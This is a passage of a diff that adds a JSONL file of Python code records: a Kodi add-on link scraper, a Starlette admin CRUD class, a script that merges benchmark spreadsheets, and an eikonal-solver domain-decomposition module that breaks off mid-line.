diff --git "a/2676.jsonl" "b/2676.jsonl"
new file mode 100644--- /dev/null
+++ "b/2676.jsonl"
@@ -0,0 +1,713 @@
+{"seq_id":"620050439","text":"# -*- coding: utf-8 -*-\r\n\r\n'''\r\n Incursion Add-on\r\n\r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see .\r\n'''\r\n\r\nimport requests, re\r\nfrom bs4 import BeautifulSoup\r\n\r\nclass source:\r\n def __init__(self):\r\n self.priority = 1\r\n self.language = ['en']\r\n self.domain = 'http://rlsscn.in/'\r\n self.base_link = 'http://rlsscn.in/'\r\n self.search_link = '/?s=%s'\r\n\r\n def movie(self, imdb, title, localtitle, aliases, year):\r\n try:\r\n url = {'imdb': imdb, 'title': title, 'localtitle': localtitle, 'aliases': aliases, 'year': year}\r\n except:\r\n return\r\n\r\n def tvshow(self, imdb, tvdb, tvshowtitle, localtvshowtitle, aliases, year):\r\n try:\r\n url = {'imdb': imdb, 'tvdb': tvdb, 'tvshowtitle': tvshowtitle, 'year': year}\r\n return url\r\n except:\r\n return\r\n\r\n def episode(self, url, imdb, tvdb, title, premiered, season, episode):\r\n try:\r\n\r\n url['episode'] = episode\r\n url['season'] = season\r\n return url\r\n except:\r\n return\r\n\r\n def sources(self, url, hostDict, hostprDict):\r\n\r\n hostDict = hostDict + hostprDict\r\n\r\n sources = []\r\n season = url['season']\r\n episode = url['episode']\r\n if len(season) == 1:\r\n season = '0' + season\r\n if len(episode) == 1:\r\n episode = '0' + episode\r\n\r\n request =('%s+s%se%s' % (url['tvshowtitle'], season, episode)).replace(\" \", \"+\")\r\n request = self.base_link + self.search_link % request\r\n request = requests.get(request)\r\n\r\n soup = BeautifulSoup(request.text, 'html.parser')\r\n soup = soup.find('h2', {'class':'title'})\r\n request = soup.find('a')['href']\r\n request = requests.get(request)\r\n soup = BeautifulSoup(request.text, 'html.parser')\r\n soup = soup.find('div', {'id':'content'})\r\n soup = soup.find_all('a', {'class':'autohyperlink'})\r\n source_list = []\r\n\r\n for i in soup:\r\n for h in hostDict:\r\n if h in i['href']:\r\n if not '.rar' in i['href']:\r\n source_list.append(i['href'])\r\n for i in source_list:\r\n host = i.replace('www.', '')\r\n host = re.findall(r'://(.*?)\\..*?/', host)[0]\r\n\r\n if '1080p' in i:\r\n quality = '1080p'\r\n elif '720p' in i:\r\n quality = '720p'\r\n else:\r\n quality = 'SD'\r\n\r\n info = ''\r\n sources.append({'source': host, 'quality': quality, 'language': 'en', 'url': i, 'info': info,\r\n 'direct': False, 'debridonly': True})\r\n\r\n return sources\r\n\r\n\r\n\r\n def resolve(self, url):\r\n return url\r\n","sub_path":"lib/lambdascrapers/sources_incursion/en_incursion-1.20(final)/rlsscn.py","file_name":"rlsscn.py","file_ext":"py","file_size_in_byte":3410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"514640831","text":"import sqlalchemy as sa\nfrom sqlalchemy.sql.selectable import Select\nfrom starlette.exceptions import HTTPException\nfrom starlette_core.database import database\n\nfrom starlette_admin.admin import BaseAdmin\n\n\nclass ModelAdmin(BaseAdmin):\n \"\"\" The base admin class for sqlalchemy crud operations. \"\"\"\n\n model_class: sa.Table\n object_str_function = lambda self: self[\"id\"]\n\n @classmethod\n def get_default_ordering(cls, qs: Select) -> Select:\n return qs.order_by(\"id\")\n\n @classmethod\n def get_search_results(cls, qs: Select, term: str) -> Select:\n raise NotImplementedError()\n\n @classmethod\n def get_ordered_results(\n cls, qs: Select, order_by: str, order_direction: str\n ) -> Select:\n if order_by and order_direction and hasattr(cls.model_class.c, order_by):\n field = getattr(cls.model_class.c, order_by)\n if order_direction == \"desc\":\n qs = qs.order_by(field.desc())\n else:\n qs = qs.order_by(field)\n return qs\n\n @classmethod\n async def get_list_objects(cls, request):\n qs = cls.model_class.select()\n\n # if enabled, call `cls.get_search_results`\n search = request.query_params.get(\"search\", \"\").strip().lower()\n if cls.search_enabled and search:\n qs = cls.get_search_results(qs, search)\n\n # if enabled, sort the results\n order_by = request.query_params.get(\"order_by\")\n order_direction = request.query_params.get(\"order_direction\")\n if cls.order_enabled and order_by and order_direction:\n qs = cls.get_ordered_results(qs, order_by, order_direction)\n else:\n qs = cls.get_default_ordering(qs)\n\n return await database.fetch_all(qs)\n\n @classmethod\n async def get_object(cls, request):\n id = request.path_params[\"id\"]\n qs = cls.model_class.select().where(cls.model_class.c.id == id)\n obj = await database.fetch_one(qs)\n if not obj:\n raise HTTPException(404)\n obj.__class__.__str__ = cls.object_str_function\n return obj\n\n @classmethod\n async def do_create(cls, form, request):\n qs = cls.model_class.insert().values(**form.data)\n return await database.execute(qs)\n\n @classmethod\n async def do_delete(cls, instance, form, request):\n qs = cls.model_class.delete().where(cls.model_class.c.id == instance[\"id\"])\n await database.execute(qs)\n\n @classmethod\n async def do_update(cls, instance, form, request):\n qs = (\n cls.model_class.update()\n .where(cls.model_class.c.id == instance[\"id\"])\n .values(**form.data)\n )\n return await database.execute(qs)\n","sub_path":"starlette_admin/admin/model_admin.py","file_name":"model_admin.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"601201341","text":"import warnings\nwarnings.simplefilter('ignore')\n\nimport shutil\nimport os\nimport time\nimport subprocess\nimport sys\nimport pandas as pd\n\ndef main():\n df_list=[]\n sg_list=[f\"SG{i}\" for i in range(1,231)]\n \n for sg in sg_list:\n if not os.path.exists(f\"out_benchmark_{sg}.xls\"):\n continue\n df_list.append(pd.read_excel(f\"out_benchmark_{sg}.xls\", index_col=0))\n\n for i, df_pd in enumerate(df_list):\n if i == 0:\n df_all= pd.DataFrame(columns=df_pd.columns)\n for j in range(len(df_pd)):\n df_all=df_all.append(df_pd.iloc[j], ignore_index=True)\n else:\n for j in range(len(df_pd)):\n df_all=df_all.append(df_pd.iloc[j], ignore_index=True)\n \n #df_all=df_all.reset_index(drop=True)\n df_all.to_excel(f\"out_benchmark_SG_all.xls\")\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"benchmarks/03scailing_benchmark/bench_combine_xsl.py","file_name":"bench_combine_xsl.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"411395145","text":"import functools\nimport itertools\nimport numpy as np\nimport rtree\n\nfrom scipy.optimize import brentq\nfrom scipy.sparse import dok_matrix\nfrom scipy.spatial import Delaunay\nfrom scipy.spatial import cKDTree as KDTree\n\nimport constants\nimport interp\nimport ma\nimport pyolim\n\nfrom sparse_olim import get_boundary_layer_points\nfrom sparse_olim import get_stencils\nfrom sparse_olim import HeapNode\nfrom sparse_olim import SparseOlim2\n\nfrom surf import EmptySurf\nfrom surf import get_vertices\n\n_offsets = np.array([\n offset for offset in\n itertools.product(range(-1, 2), range(-1, 2))\n])\n\ndef _get_box(shape, ind):\n inds = np.array(ind) + _offsets\n return [tuple(ind_) for ind_ in inds if ma.is_inbounds(shape, ind_)]\n\n_tol = constants.TOL\n\ndef get_min(olim):\n if isinstance(olim, SparseOlim2):\n heap_node = olim.min()\n if heap_node is None:\n return heap_node\n else:\n return heap_node.U, heap_node.ind\n else:\n return olim.min()\n\ndef select(olims):\n U, argmin = np.inf, None\n for i, olim in enumerate(olims):\n if get_min(olim) is not None:\n U_min, _ = get_min(olim)\n if U_min < U:\n U, argmin = U_min, i\n return argmin\n\n\n@functools.singledispatch\ndef get_state(olim, ind):\n fmt = 'no implementation of `get_state` for type %s'\n raise Exception(fmt % type(olim))\n\n@get_state.register\ndef _(olim: pyolim.Olim, ind):\n i = [b'', b'\\x01', b'\\x02', b'\\x03'].index(olim.state[ind])\n return pyolim.State(i)\n\n@get_state.register\ndef _(olim: SparseOlim2, ind):\n return pyolim.State(olim.state[ind])\n\ndef is_boundary(olim, ind):\n return get_state(olim, ind) == pyolim.State.BOUNDARY\n\ndef is_trial(olim, ind):\n return get_state(olim, ind) == pyolim.State.TRIAL\n\ndef is_far(olim, ind):\n return get_state(olim, ind) == pyolim.STATE.FAR\n\ndef is_valid(olim, ind):\n return get_state(olim, ind) == pyolim.STATE.VALID\n\n\n@functools.singledispatch\ndef get_updated_ghost_inds(olim, ghost_inds, changed, ind):\n fmt = 'no implementation of `get_updated_ghost_inds` for type %s'\n raise Exception(fmt % type(olim))\n\n@get_updated_ghost_inds.register\ndef _(olim: pyolim.Olim, ghost_inds, changed, ind):\n shape = olim.shape\n box = _get_box(shape, ind)\n return [\n ind_ for ind_ in box\n if changed[ind_] and ind_ in ghost_inds[olim]\n ]\n\n@get_updated_ghost_inds.register\ndef _(olim: SparseOlim2, ghost_inds, changed, ind):\n return [\n i\n for i in np.where(changed)[0]\n if i in ghost_inds[olim]\n ]\n\n\n@functools.singledispatch\ndef get_ind_from_heap_node(node):\n fmt = 'no implementation of `get_ind_from_heap_node` for type %s'\n raise Exception(fmt % type(node))\n\n@get_ind_from_heap_node.register\ndef _(node: tuple):\n return node[1]\n\n@get_ind_from_heap_node.register\ndef _(node: HeapNode):\n return node.ind\n\n\n@functools.singledispatch\ndef are_neighbors(olim, ind1, ind2):\n fmt = 'no implementation of `are_neighbors` for type %s'\n raise Exception(fmt % type(node))\n\n@are_neighbors.register\ndef _(olim: pyolim.Olim, ind1, ind2):\n raise Exception('TODO: implement `are_neighbors` for `pyolim.Olim`')\n\n@are_neighbors.register\ndef _(olim: SparseOlim2, ind1, ind2):\n return ind1 in olim.nbs[ind2]\n\n\n@functools.singledispatch\ndef prioritize_heap_node(olim, ind):\n fmt = 'no implementation of `get_ind_from_heap_node` for type %s'\n raise Exception(fmt % type(node))\n\n@prioritize_heap_node.register\ndef _(olim: pyolim.Olim, ind):\n raise Exception('TODO: implement `prioritize_heap_node` for `pyolim.Olim`')\n\n@prioritize_heap_node.register\ndef _(olim: SparseOlim2, ind):\n i = next(\n i for i, node in enumerate(olim.heap)\n if node.ind == ind\n )\n if i is None:\n raise Exception(\"node with index %s doesn't exist in heap\" % (ind,))\n level = int(np.log2(i + 1)) # TODO: remove this\n ind0 = olim.heap[0].ind\n if are_neighbors(olim, ind, ind0):\n U_0 = olim.heap[0].U\n U_i = olim.heap[i].U\n if abs(U_0 - U_i) > _tol:\n raise Exception('|%s - %s| > %s' % (U_0, U_i, _tol))\n olim.heap[0], olim.heap[i] = olim.heap[i], olim.heap[0]\n\n\n@functools.singledispatch\ndef get_minimizer(olim, ind):\n fmt = 'no implementation of `get_minimizer` for type %s'\n raise Exception(fmt % type(olim))\n\n@get_minimizer.register\ndef _(olim: pyolim.Olim, ind):\n if is_boundary(olim, ind):\n raise Exception(\"can't get minimizer of boundary node\")\n\n line_inds = ma.get_plausible_line_inds(olim, ind)\n tri_ind_pairs = ma.get_plausible_tri_inds(olim, ind)\n tri_inds = ma.get_incident_inds(tri_ind_pairs)\n\n U_min = np.inf\n arg0, arg1, arglam = None, None, None\n\n for ind0 in line_inds:\n if ind0 in tri_inds:\n continue\n U = ma.line(olim, ind, ind0)\n if U < U_min:\n U_min, arg0 = U, ind0\n\n for ind0, ind1 in tri_ind_pairs:\n U, lam = ma.tri(olim, ind, ind0, ind1)\n if U < U_min:\n U_min, arg0, arg1, arglam = U, ind0, ind1, lam\n\n return U_min, arg0, arg1, arglam\n\n\n@get_minimizer.register\ndef _(olim: SparseOlim2, ind):\n if is_boundary(olim, ind):\n raise Exception(\"can't get minimizer of boundary node\")\n\n U_min = np.inf\n arg0, arg1, arglam = None, None, None\n\n for ind0 in olim.nbs[ind]:\n if ind0 in olim.tris[ind]:\n continue\n U = olim.line(ind, ind0)\n if U < U_min:\n U_min, arg0 = U, ind0\n\n for ind0, ind1 in olim.tris[ind]:\n U, lam = olim.tri(ind, ind0, ind1)\n if U < U_min:\n U_min, arg0, arg1, arglam = U, ind0, ind1, lam\n\n return U_min, arg0, arg1, arglam\n\n\n@functools.singledispatch\ndef add_src(olim, ind, U, virtual=False):\n fmt = 'no implementation of `add_src` for type %s'\n raise Exception(fmt % type(olim))\n\n@add_src.register\ndef _(olim: pyolim.Olim, ind, U, virtual=False):\n olim.add_src(ind, U)\n\n@add_src.register\ndef _(olim: SparseOlim2, ind, U, virtual=False):\n olim.add_src(ind, U, virtual)\n\n\ndef step(olims, other_olim, ghost_inds, check_consistency=False, verbose=False):\n '''TODO: add some docs'''\n\n early_prio, late_prio = False, False\n\n # First, select the next OLIM to step. Return if the decomposed\n # problem is solved\n i = select(olims)\n if i is None:\n return None\n if verbose:\n print('updating olim%d:' % (i + 1))\n\n # Set up some variables\n selected_index = i # in case we overwrite i\n olim, olim_ = olims[i], other_olim[olims[i]]\n\n # When updating a ghost node, note that there may be multiple\n # minima in the other OLIM's front. If this happens, we swap the\n # desired node to the front of the OLIM so that when we update\n # each OLIM, we update ghost nodes that correspond with one\n # another.\n ind = get_ind_from_heap_node(olim.min())\n if ind in ghost_inds[olim]:\n ind_ = get_ind_from_heap_node(olim_.min())\n if ind_ != ghost_inds[olim][ind]:\n target = ghost_inds[olim][ind]\n print('early prioritization')\n early_prio = True\n prioritize_heap_node(olim_, target)\n\n # Do a quick consistency check and make sure that if we're\n # updating a ghost node, we'll be updating the correct ghost node\n # in the other OLIM\n U, ind = get_min(olim)\n if ind in ghost_inds[olim]:\n U_, ind_ = get_min(olim_)\n if ghost_inds[olim][ind] != ind_:\n raise Exception('ghost_inds[olim][%s] == %s != %s' % (\n ind, ghost_inds[olim][ind], ind_\n ))\n if abs(U - U_) > _tol:\n raise Exception('|%s - %s| > %s' % (U, U_, _tol))\n\n # Get a view of the OLIM-to-be-updated before we step it\n # forward---we need it to check and see which ghost nodes were\n # changed\n prev_U = olim.U.copy() # very bad!\n\n # Step the OLIM, and find the indices of the ghost nodes of the\n # OLIM-to-be-updated that have been modified after stepping\n ind = olim.step()\n updated_ind = ind # to return (mainly for plotting)\n updated_ghost_inds = get_updated_ghost_inds(\n olim, ghost_inds, olim.U != prev_U, ind\n )\n\n # Adjust the values of the updated ghost nodes in the other OLIM\n # (thereby fixing their position in the heap). There may be nodes\n # that aren't TRIAL yet---\"add a source\" to deal with those\n if len(updated_ghost_inds) > 0:\n if verbose:\n print('synchronizing: adjusting nodes in other olim')\n for updated_ghost_ind in updated_ghost_inds:\n ind_ = ghost_inds[olim][updated_ghost_ind]\n U_ghost = olim.U[updated_ghost_ind]\n assert U_ghost >= U\n if get_state(olim_, ind_) == pyolim.State.TRIAL:\n olim_.adjust(ind_, U_ghost)\n else:\n add_src(olim_, ind_, U_ghost, virtual=True)\n U_ghost_ = olim_.U[ind_]\n assert U_ghost == U_ghost_\n\n if ind in ghost_inds[olim]:\n if verbose:\n print('synchronizing: stepping `olim_`')\n prev_U_ = olim_.U.copy() # very bad!\n\n # It can happen that there are multiple minima in the\n # front. When this happens, we need to make sure we pull out\n # the one which matches `ind`.\n # ind_ = olim_.step()\n ind_ = get_ind_from_heap_node(olim_.min())\n # If they don't agree, we pull the right node out of the heap\n if ind_ != ghost_inds[olim][ind]:\n target = ghost_inds[olim][ind]\n print('late prioritization')\n late_prio = True\n prioritize_heap_node(olim_, target)\n ind_ = olim_.step()\n\n if ind_ != ghost_inds[olim][ind]:\n raise Exception(\n 'new valid node in `olim` != new valid node in `olim_`')\n if abs(olim.U[ind] - olim_.U[ind_]) > _tol:\n raise Exception('|%s - %s| > %s' % (\n olim.U[ind], olim_.U[ind_], _tol\n ))\n if verbose:\n print('synchronizing: adjusting nodes in `olim`')\n changed_ = olim_.U != prev_U_\n updated_ghost_inds_ = get_updated_ghost_inds(\n olim_, ghost_inds, changed_, ind_)\n if verbose:\n print('- olim%d, heap ind = %s, updated ghost inds = %s' % (\n 2 - i, ind_, updated_ghost_inds_))\n for updated_ghost_ind_ in updated_ghost_inds_:\n updated_ghost_ind__ = ghost_inds[olim_][updated_ghost_ind_]\n if verbose:\n print(' + updating ghost nodes %s & %s' % (\n updated_ghost_ind_, updated_ghost_ind__))\n U_min = min(olim.U[updated_ghost_ind__], olim_.U[updated_ghost_ind_])\n olim.adjust(updated_ghost_ind__, U_min)\n olim_.adjust(updated_ghost_ind_, U_min)\n if olim.U[updated_ghost_ind__] != olim_.U[updated_ghost_ind_]:\n raise Exception(\"values aren't equal after adjustment across bd\")\n\n # Check that the domain's ghost layers are consistent\n if check_consistency:\n # Check that corresponding ghost nodes have the same value\n errors = [\n 0.0 if np.isinf(olim.U[ind]) and np.isinf(olim_.U[ind_])\n else np.abs(olim.U[ind] - olim_.U[ind_])\n for ind, ind_ in ghost_inds[olim].items()\n ]\n if any(e > _tol for e in errors):\n print(errors)\n raise Exception('ghost layers are inconsistent')\n # ... and that they have the same state\n states = [\n (get_state(olim, ind), get_state(olim_, ind_))\n for ind, ind_ in ghost_inds[olim].items()\n ]\n for state1, state2 in states:\n if state1 != state2:\n print(states)\n raise Exception('ghost layers are inconsistent')\n\n return selected_index, updated_ind\n\ndef solve(*args, **kwargs):\n results = step(*args, **kwargs)\n while results is not None:\n results = step(*args, **kwargs)\n\nclass SimpleDomainDecomposition(object):\n '''A class encapsulating a basic domain decomposition algorithm where\n the \"ambient domain\" is a rectangular, equispaced grid, and the\n boundary is specified by a *single* implicit surface, derived from\n BaseSurf (note that this still allows for a complex boundary built\n up through CSG operations on implicit surfaces). The limitation of\n this class (why it is \"Simple\") is that it only decomposes the\n domain into *two* pieces---an interior domain consisting only of\n nodes lying on the equispaced grid, and a boundary layer domain\n which includes nodes that lie on the surface of the boundary, and\n most likely need to be handled using an unstructured OLIM.\n\n '''\n def __init__(self, grid, surf, slowness, shadow=False):\n self.grid = grid\n self.surf = surf\n self.slowness = slowness\n self.shadow = shadow\n\n if self.shadow:\n self._olim = SimpleDomainDecomposition(\n grid, surf, slowness, shadow=False\n )\n self._empty_surf = EmptySurf()\n self._shadow_tol = (self.h*np.log(1/self.h))**2\n\n # Find the nodes that will belong to the boundary layer,\n # including a layer of ghost nodes which will overlap with a\n # corresponding layer of ghost nodes in the \"interior\" of the\n # domain (i.e., the part of the domain away from the boundary)\n self.boundary_layer_points = get_boundary_layer_points(\n self.surf,\n self.h,\n self.grid\n )\n self._boundary_layer_kdtree = KDTree(self.boundary_layer_points)\n if self.shadow:\n new_points = []\n for ind in zip(*np.where(self.phi(*self.grid.Xs) < 0)):\n point = self.grid[ind]\n dist, _ = self._boundary_layer_kdtree.query(point)\n if dist < _tol:\n continue\n if dist < 1.5*self.h + _tol:\n new_points.append(point)\n self.boundary_layer_points = np.row_stack([\n self.boundary_layer_points,\n new_points\n ])\n\n # Compute the stencils (the line updates and triangle updates\n # for each node) that will be used by the boundary layer OLIM\n self.boundary_layer_stencil = get_stencils(\n self._empty_surf if self.shadow else self.surf,\n self.boundary_layer_points,\n self.h\n )\n\n # Finally, initialize the boundary layer solver itself\n self.boundary_layer_olim = SparseOlim2(\n self.boundary_layer_points,\n *self.boundary_layer_stencil,\n self.slowness(*self.boundary_layer_points.T)\n )\n\n # Next, get the boundary layer nodes that are grid-aligned. We\n # need these to determine the interior OLIM's nodes that\n # should have `boundary` state, as well as to correctly set up\n # the ghost node bimap\n inds, where = self.grid.get_indices_of_grid_aligned_points(\n self.boundary_layer_points\n )\n\n # Determine the nodes of the interior OLIM that will have\n # `boundary` state\n interior_boundary = dok_matrix(self.shape, dtype=bool)\n for ind in inds:\n interior_boundary[ind] = True\n if not self.shadow:\n for ind in zip(*np.where(self.phi(*self.grid.Xs) <= 0)):\n interior_boundary[ind] = True\n interior_boundary = ma.erode(interior_boundary)\n\n # Set up one direction of the ghost node bimap (i.e., the\n # bimap which will allow us to map back and forth between\n # ghost nodes in either the boundary layer OLIM or the\n # interior OLIM\n self.interior_to_boundary_layer = {\n ind: i\n for i, ind in zip(where, inds)\n if ind not in interior_boundary\n }\n\n # A quick sanity check---just make sure that the bimap is set\n # up correctly!\n for ind, i in self.interior_to_boundary_layer.items():\n p = self.boundary_layer_points[i, :]\n q = self.grid[ind]\n error = np.linalg.norm(p - q)\n if error > _tol:\n raise Exception('|%s - %s| = %s > %s' % (p, q, error, _tol))\n ind_ = (p - self.grid.xmin)/self.h\n ind_err = np.linalg.norm(ind - ind_)\n if ind_err > _tol:\n raise Exception('|err| = %s > %s' % (ind_err, _tol))\n\n # To complete the bimap, just create another map with the keys\n # and indices reversed\n self.boundary_layer_to_interior = {\n i: ind\n for ind, i in self.interior_to_boundary_layer.items()\n }\n\n # Now, set up the interior OLIM, setting the state of boundary\n # nodes after initializing it\n self.interior_olim = pyolim.Olim(\n pyolim.Neighborhood.OLIM8, # hardcoded for now\n pyolim.Quadrature.MP0, # hardcoded for now\n self.slowness(*self.grid.Xs),\n self.h\n )\n for ind in interior_boundary.keys():\n if ind in self.interior_to_boundary_layer:\n raise Exception('%s is already a ghost node' % (ind,))\n self.interior_olim.add_bd(ind)\n\n # Set up the three variables (`_olim`, `_other_olim`,\n # `_ghost_inds`) required by the `step` and `solve` functions\n # that run the domain decomposition solver (defined in this\n # module)\n self._olims = [\n self.interior_olim,\n self.boundary_layer_olim\n ]\n self._other_olim = {\n self.interior_olim: self.boundary_layer_olim,\n self.boundary_layer_olim: self.interior_olim\n }\n self._ghost_inds = {\n self.interior_olim: self.interior_to_boundary_layer,\n self.boundary_layer_olim: self.boundary_layer_to_interior\n }\n\n # Set some variables that back properties (defined below)\n # initially to `None` here---the values of these variables are\n # read-only, and computed and memoized on first use\n self.__nonghost_interior_points = None\n self.__nonghost_interior_point_indices = None\n self._points = None\n self._src_inds = None\n\n # TODO: this variable is used by a few other classes. It isn't\n # great that we are storing this, but we'll figure out a\n # better way to do this later.\n self._nonghost_linear_inds = np.empty(self.shape, dtype=int)\n self._nonghost_linear_inds[...] = -1\n for i, ind in enumerate(self._nonghost_interior_point_indices):\n self._nonghost_linear_inds[tuple(ind)] = i\n\n # Set up a dictionary of backpointers from vertices in S to \n # boundary layer points\n self._vert_ind_to_bl_ind = dict()\n for i, p in enumerate(self.surf.vertices):\n j = np.argmin(np.sum((self.boundary_layer_points - p)**2, axis=1))\n assert np.linalg.norm(self.boundary_layer_points[j] - p) < _tol\n self._vert_ind_to_bl_ind[i] = int(j)\n\n @property\n def grid(self):\n return self._grid\n\n @property\n def phi(self):\n return self.surf.phi\n\n # TODO: probably best to just remove this entirely... We don't\n # want to change `grid` after initializing an instance of this\n # class\n @grid.setter\n def grid(self, G):\n # TODO: check that G is equispaced...\n self._grid = G\n\n @property\n def shape(self):\n return self.grid.shape\n\n @property\n def h(self):\n return self.grid.h\n\n @property\n def src_inds(self):\n if self._src_inds is None:\n self._src_inds = []\n return self._src_inds\n\n def add_boundary_layer_source(self, ind, U=0.0):\n if ind in self.boundary_layer_to_interior:\n raise Exception('''adding boundary layer sources that coincide\nwith ghost nodes is unsupported for now''')\n self.boundary_layer_olim.add_src(ind, U)\n self.src_inds.append(ind)\n # TODO: this is awful... we really don't want to have to do\n # this!\n if self.shadow:\n self._olim.add_boundary_layer_source(ind, U)\n\n def add_interior_source(self, ind, U=0.0):\n if ind in self.interior_to_boundary_layer:\n raise Exception('''adding interior sources that coincide with\nghost nodes is unsupported for now''')\n self.interior_olim.add_src(ind, U)\n self.src_inds.append(ind)\n if self.shadow:\n self._olim.add_interior_source(ind, U)\n\n def add_sources(self, inds, Us=None):\n if Us is not None:\n assert len(Us) == len(inds)\n for ind, U in zip(inds, Us):\n if isinstance(ind, tuple):\n self.add_interior_source(ind, U)\n else:\n if not isinstance(ind, int):\n import pdb; pdb.set_trace()\n assert isinstance(ind, int)\n self.add_boundary_layer_source(ind, U)\n else:\n for ind in inds:\n if isinstance(ind, tuple):\n self.add_interior_source(ind)\n else:\n assert isinstance(ind, int)\n self.add_boundary_layer_source(ind)\n\n def step(self, check_consistency=False, verbose=False):\n return step(\n self._olims,\n self._other_olim,\n self._ghost_inds,\n check_consistency=check_consistency,\n verbose=verbose\n )\n\n def solve(self, check_consistency=False, verbose=False):\n _ = self.step(check_consistency, verbose)\n while _ is not None:\n _ = self.step(check_consistency, verbose)\n if self.shadow:\n self._olim.solve(check_consistency, verbose)\n\n def _compute_nonghost_interior_points_and_indices(self):\n indices, points = [], []\n if self.shadow:\n extra_indices, extra_points = [], []\n for ind, p in zip(\n self.grid.get_indices(),\n self.grid.get_points()\n ):\n if ind in self.interior_to_boundary_layer:\n continue\n if self.interior_olim.state[ind] == b'\\x03':\n continue\n if self.phi(*p) <= 0:\n if self.shadow:\n extra_indices.append(ind)\n extra_points.append(p)\n continue\n indices.append(ind)\n points.append(p)\n if self.shadow:\n indices.extend(extra_indices)\n points.extend(extra_points)\n self.__nonghost_interior_point_indices = np.array(indices)\n self.__nonghost_interior_points = np.array(points)\n\n @property\n def _nonghost_interior_point_indices(self):\n if self.__nonghost_interior_point_indices is None:\n self._compute_nonghost_interior_points_and_indices()\n return self.__nonghost_interior_point_indices\n\n @property\n def _nonghost_interior_points(self):\n if self.__nonghost_interior_points is None:\n self._compute_nonghost_interior_points_and_indices()\n return self.__nonghost_interior_points\n\n @property\n def points(self):\n if self._points is None:\n self._points = np.row_stack([\n self._nonghost_interior_points,\n self.boundary_layer_points\n ])\n return self._points\n\n @property\n def size(self):\n return self.points.shape[0]\n\n @property\n def ndim(self):\n return self.points.shape[1]\n\n def _get_values(self):\n if not self.shadow:\n n = self._nonghost_interior_points.shape[0]\n return np.array([\n self.interior_olim.U[\n tuple(self._nonghost_interior_point_indices[i])\n ]\n if i < n else self.boundary_layer_olim.U[i - n]\n for i in range(self.size)\n ])\n else:\n n1 = self._olim._nonghost_interior_points.shape[0]\n n2 = len(self._olim.boundary_layer_olim)\n def get_Z(U, U_direct):\n # return 1.0 if U - U_direct > self._shadow_tol else 0.0\n return float(U - U_direct > self.h**2)\n return np.concatenate([\n np.array([\n get_Z(\n self._olim.interior_olim.U[\n tuple(self._olim._nonghost_interior_point_indices[i])\n ],\n self.interior_olim.U[\n tuple(self._nonghost_interior_point_indices[i])\n ]\n )\n for i in range(n1)\n ]),\n np.array([\n get_Z(\n self._olim.boundary_layer_olim.U[i],\n self.boundary_layer_olim.U[i]\n )\n for i in range(n2)\n ])\n ])\n\n def get_nearest_neighbor_interpolator(self, ignore_surface=False):\n interpolator = interp.NearestNeighborInterpolator(\n self._olim.points if self.shadow else self.points,\n self._get_values()\n )\n return np.vectorize(\n interpolator if ignore_surface else\n lambda *x: np.nan if self.phi(*x) + _tol <= 0 else interpolator(*x)\n )\n\n class BilinearInterpolator(object):\n\n def __init__(self, olimdd):\n self._olimdd = olimdd\n self._U = self._olimdd.boundary_layer_olim.U\n self._P = olimdd.boundary_layer_points\n\n self._triangulation = Delaunay(self._P)\n self._F = self._triangulation.simplices\n\n # Build RTree for looking up triangles used for interpolation\n self._rtree = rtree.index.Index()\n for i, f in enumerate(self._F):\n P = self._P[f]\n bbox = (*np.min(P, axis=0), *np.max(P, axis=0))\n self._rtree.insert(i, bbox)\n\n def _get_bary_coords(self, p, i):\n p0, p1, p2 = self._P[self._F[i]]\n return np.linalg.solve(np.column_stack([p1 - p0, p2 - p0]), p - p0)\n\n def _valid_bary_coords(self, lam):\n return np.all(lam >= -_tol) and np.sum(lam) <= 1 + _tol\n\n def _tri_interp(self, p, i, lam):\n U0 = self._U[self._F[i, 0]]\n dU = np.array([self._U[j] for j in self._F[i, 1:]]) - U0\n return U0 + dU@lam\n\n def _get_intersected_tri_inds(self, p):\n return self._rtree.intersection((p[0], p[1], p[0], p[1]))\n\n def _interp_boundary_layer(self, *p):\n for i in self._get_intersected_tri_inds(p):\n lam = self._get_bary_coords(p, i)\n if self._valid_bary_coords(lam):\n return self._tri_interp(p, i, lam)\n assert False\n\n def _interp_interior(self, *p):\n # Well, this is ugly! There's probably a nicer way to\n # write this\n G = self._olimdd.grid\n points = self._olimdd.grid.get_nearest_points(p)\n x, y = p\n xs, ys = (np.unique(coords) for coords in points.T)\n if len(xs) == 1 and len(ys) == 1:\n return self._olimdd.interior_olim.U[\n tuple(G.get_nearest_ind(*p))\n ]\n elif len(xs) == 1:\n ymin, ymax = ys\n ty = (y - ymin)/(ymax - ymin)\n i = int(G.get_ind_along_axis(xs[0], 0))\n jmin = int(G.get_ind_along_axis(ymin, 1))\n jmax = int(G.get_ind_along_axis(ymax, 1))\n U0 = self._olimdd.interior_olim.U[i, jmin]\n U1 = self._olimdd.interior_olim.U[i, jmax]\n return (1 - ty)*U0 + ty*U1\n elif len(ys) == 1:\n xmin, xmax = xs\n tx = (x - xmin)/(xmax - xmin)\n imin = int(G.get_ind_along_axis(xmin, 0))\n imax = int(G.get_ind_along_axis(xmax, 0))\n j = int(G.get_ind_along_axis(ys[0], 1))\n U0 = self._olimdd.interior_olim.U[imin, j]\n U1 = self._olimdd.interior_olim.U[imax, j]\n return (1 - tx)*U0 + tx*U1\n else:\n xmin, xmax = xs\n ymin, ymax = ys\n tx = (x - xmin)/(xmax - xmin)\n ty = (y - ymin)/(ymax - ymin)\n imin = int(G.get_ind_along_axis(xmin, 0))\n imax = int(G.get_ind_along_axis(xmax, 0))\n jmin = int(G.get_ind_along_axis(ymin, 1))\n jmax = int(G.get_ind_along_axis(ymax, 1))\n U00 = self._olimdd.interior_olim.U[imin, jmin]\n U10 = self._olimdd.interior_olim.U[imax, jmin]\n U01 = self._olimdd.interior_olim.U[imin, jmax]\n U11 = 